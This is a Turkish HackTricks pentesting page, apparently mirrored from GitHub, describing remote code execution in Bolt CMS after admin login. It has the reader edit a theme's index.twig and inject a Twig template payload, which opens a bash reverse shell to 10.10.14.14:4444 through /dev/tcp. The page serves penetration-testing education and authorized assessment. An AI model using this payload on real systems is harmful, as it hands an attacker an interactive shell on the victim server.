Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/bolt-cms.md

3.4 KiB
Raw Blame History

Bolt CMS

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'ı desteklemenin diğer yolları:

RCE

Yönetici olarak giriş yaptıktan sonra (giriş ekranına erişmek için /bot yolunu izleyin), Bolt CMS'de RCE alabilirsiniz:

  • Configuration -> View Configuration -> Main Configuration'ı seçin veya URL yolunu /bolt/file-edit/config?file=/bolt/config.yaml olarak ayarlayın
  • Tema değerini kontrol edin
  • File management -> View & edit templates'ı seçin
  • Önceki adımda bulunan temel temayı seçin (base-2021 bu durumda) ve index.twig'i seçin
  • Benim durumumda bu, URL yolunda /bolt/file-edit/themes?file=/base-2021/index.twig olarak bulunmaktadır
  • Payload'ınızı bu dosyaya template injection (Twig) aracılığıyla ayarlayın, örneğin: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
  • Ve değişiklikleri kaydedin
  • Maintenance -> Clear the cache'de önbelleği temizleyin
  • Sayfaya tekrar düzenli bir kullanıcı olarak erişin ve payload'ın çalıştırıldığını görmelisiniz
AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'ı desteklemenin diğer yolları: